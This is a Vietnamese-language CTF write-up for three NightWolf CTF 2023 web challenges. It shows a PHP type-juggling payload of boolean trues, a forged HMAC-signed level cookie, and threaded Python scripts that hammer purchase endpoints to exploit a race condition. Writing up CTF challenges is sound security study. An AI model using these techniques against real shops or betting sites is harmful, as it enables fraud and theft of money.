---
# System prepended metadata

title: NightWolf CTF 2023

---

# Web challenges

## 1. Lottery


![image](https://hackmd.io/_uploads/rkKYOokNa.png)
<br>

Khi ấn vào chơi thì phải tạo account
![image-1](https://hackmd.io/_uploads/HkjL_jkNa.png)

<br>

![image-2](https://hackmd.io/_uploads/H11odok4p.png)
Mỗi account có `20$` làm vốn 😂
<br>

![image-3](https://hackmd.io/_uploads/HyYTdiyNp.png)

Mỗi lần mua mất `2$`

![image-6](https://hackmd.io/_uploads/Hyx0doJEp.png)
Bởi vì mình có hai số `1` ở hai vị trí giống với `winning numbers` nên được `+5$`
<br>

![image-4](https://hackmd.io/_uploads/ryklFiJN6.png)
Có vẻ như là phải kiếm đủ tiền thì mới mua flag được

Sau một hồi chơi trò này thì mình khuyên là nếu ai có ý định dấn thân vào lô đề thì bỏ đi nhé 😪
<br>

![image-7](https://hackmd.io/_uploads/SJeWYo1Va.png)
Quay trở lại chall thì có thể thấy rằng `numbers` mình chọn được truyền dưới dạng `json`

Sau đó sẽ so sánh từng số trong `numbers` với `winning numbers` (ở trên mình có mua thử 2 cái, các bạn có thể xem lại)
<br>

Stuck một hồi lâu thì btc có đưa hint là `có thể vay tiền từ TypeJuggling88`

Vậy là mình hiểu ra ngay bài này dùng `TypeJunggling` để so sánh (còn `88` ở sau là chắc ẩn ý đến một nhà cái nào đó uy tín 😂)

![image-8](https://hackmd.io/_uploads/rJKzKjkN6.png)

Mình có thử dùng `true` để so sánh với số hoặc với char thì nó luôn đúng

Lợi dụng điều này mình truyền vào một mảng gồm 7 phần tử và mỗi phần tử là giá trị boolean `true`
![image-9](https://hackmd.io/_uploads/B1g8KiyE6.png)

Ú là la được hẳn `200000$`, vậy là thành công rồi

![image-10](https://hackmd.io/_uploads/HJJDYjJ4a.png)
Hoặc là thay vì truyền vào mảng thì mình truyền vào một `json` với 7 cặp key-value với key từ 0 -> 6 và value là `true`

Mình viết script để làm cho nhanh
```
#!/usr/bin/env python

import requests
from threading import Thread

url = 'http://152.67.127.64:8002/'
cookie = {"PHPSESSID": "575a9d3231cbcb2bb219e7623ad2937b"}
header = {
	"Accept": "application/json, text/javascript, */*; q=0.01",
	"Content-Type": "application/json",
}

json_data = {
	"action": "buy",
	"numbers": {
		"0":True,
		"1":True,
		"2":True,
		"3":True,
		"4":True,
		"5":True,
		"6":True
	}
}

def cheat_money():
	while True:
		res = requests.post(url + '/api.php', headers=header, cookies=cookie, json=json_data)

		money = res.json().get("money", None)
		print(money)
		if money > 99999999999:
			print("Du tien roi, mua flag thoi")
			break

threads = [Thread(target = cheat_money) for i in range(10)]
for thread in threads:
	thread.start()
```
<br>

Sau một hồi chờ đợi thì
![image-11](https://hackmd.io/_uploads/SkWKtiyVp.png)

Mua flag thôi
![image-12](https://hackmd.io/_uploads/HkSKtjyVa.png)

Flag: ~~**`NightWolfCTF{l4m_g14u_kh0ng_kh0}`**~~
</br>

## 2. Iq test

![image](https://hackmd.io/_uploads/BJGG5j1Ea.png)
</br>

Ok đề bảo sao làm vậy thôi 😂
![image-1](https://hackmd.io/_uploads/SkLG5sy4p.png)
![image-2](https://hackmd.io/_uploads/SkuMqjJEp.png)
![image-3](https://hackmd.io/_uploads/BJcfqsy4T.png)
![image-4](https://hackmd.io/_uploads/B12M5s1Na.png)
![image-5](https://hackmd.io/_uploads/SyTfqiyNa.png)
Câu 5 này hơi sai 🙄
<br>

Mình có inspect xem thử và thấy có một endpoint là `secret.css`
Vô xem thử
![image-6](https://hackmd.io/_uploads/SyXOqiyNa.png)


Mình có nghía thử cookie
![image-8](https://hackmd.io/_uploads/SyEFqjJVa.png)

Có vẻ như là value của `level` được hash bằng `HMAC-SHA256` với secret-key là `NightWolfCTF`
<br>

Sau một hồi mò plain text value của `level` trước khi hash thì mình cũng tìm ra
`level:level5`
Quay lại đọc đề (Ai thông minh hơn học sinh lớp 5) và hint (học sinh lớp 6)
Thì mình khá chắc là flag đang ở `level6`
<br>

Tiến hành generator hash `HMAC-SHA256` của plain text `level6` và secret-key `NightWolfCTF`

`level:70f184d9c055839f1b23a2c0e88622a8a30df60e4754afcdad820b916410953e`
![image-9](https://hackmd.io/_uploads/H14oqskNa.png)

Ú là la

![image-10](https://hackmd.io/_uploads/rJlPj9o1Ea.png)


Flag: ~~**`NightWolfCTF{M1sc0nfig_EVERYWHERE_!!!_}`**~~
</br>

## 3. Flea market

![image](https://hackmd.io/_uploads/SJMGsiJNa.png)
Cứ register và login vô thử xem sao

![image-1](https://hackmd.io/_uploads/HkcfsskE6.png)
</br>

![image-2](https://hackmd.io/_uploads/HJ3Miiy4a.png)

Sau một hồi nghịch linh tinh thì mình đoán có thể giải bài này bằng `race conditions`

script:
```
#!/usr/bin/env python

from threading import Thread
import requests

url = 'http://152.67.127.64:8013/'
cookie = {"token": "22b7d502-42e8-4f8b-95eb-3c80981a6bb9"}

def buy():
	while True:
		res = requests.post(url + 'buy/2', cookies=cookie)

def sell():
	while True:
		res = requests.post(url + 'sell/1', cookies=cookie)


for i in range(5):
	thread1 = Thread(target = buy)
	thread2 = Thread(target = sell)
	thread1.start()
	thread2.start()
```
Giải thích sơ qua chỗ `buy/2` và `sell/1`
Ở đây là buy và sell theo `id`
Mình buy `Scooter` với `id` của nó là 2 và sell nó với `id` là 1

Chạy xong thì F5 lại ta được
![image-3](https://hackmd.io/_uploads/r1PrijkNp.png)

Sell đi và thế là đủ tiền mua flag
![image-6](https://hackmd.io/_uploads/ry_Fsiy4p.png)
</br>


Flag: ~~**`NightWolfCTF{Y0u_4re_4_lucky_guy}`**~~